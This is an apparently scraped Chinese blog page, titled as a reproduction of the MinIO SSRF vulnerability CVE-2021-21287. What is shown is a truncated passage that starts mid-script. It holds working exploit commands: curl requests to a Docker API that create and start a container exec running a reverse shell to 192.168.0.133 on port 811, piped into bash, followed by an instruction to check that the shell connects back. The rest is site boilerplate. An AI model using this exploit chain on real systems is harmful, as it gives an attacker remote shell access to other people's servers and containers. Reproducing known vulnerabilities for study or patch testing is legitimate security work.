admin 管理员组

文章数量: 1087833


2024年3月22日发(作者：发的头条没有收益)

echo 'execid=$(curl -s -X POST "${target}/containers/${id}/exec" -H "Content-Type: application/json" --data-binary "{"Cmd": ["bash", "-c", "bash -i >& /dev/tcp/192.168.0.133/811 0>&1"]}" | jq -r ".Id")';

echo 'curl -s -X POST "${target}/exec/${execid}/start" -H "Content-Type: application/json" --data-binary "{}"';

} | bash

然后发送请求。测试是否反弹shell


本文标签： 头条 请求 测试 是否 没有

版权声明：本文标题：MinIO未授权SSRF漏洞(CVE-2021-21287)漏洞复现 内容由网友自发贡献，该文观点仅代表作者本人， 转载请联系作者并注明出处：http://roclinux.cn/b/1711100034a588460.html， 本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容，一经查实，本站将立刻删除。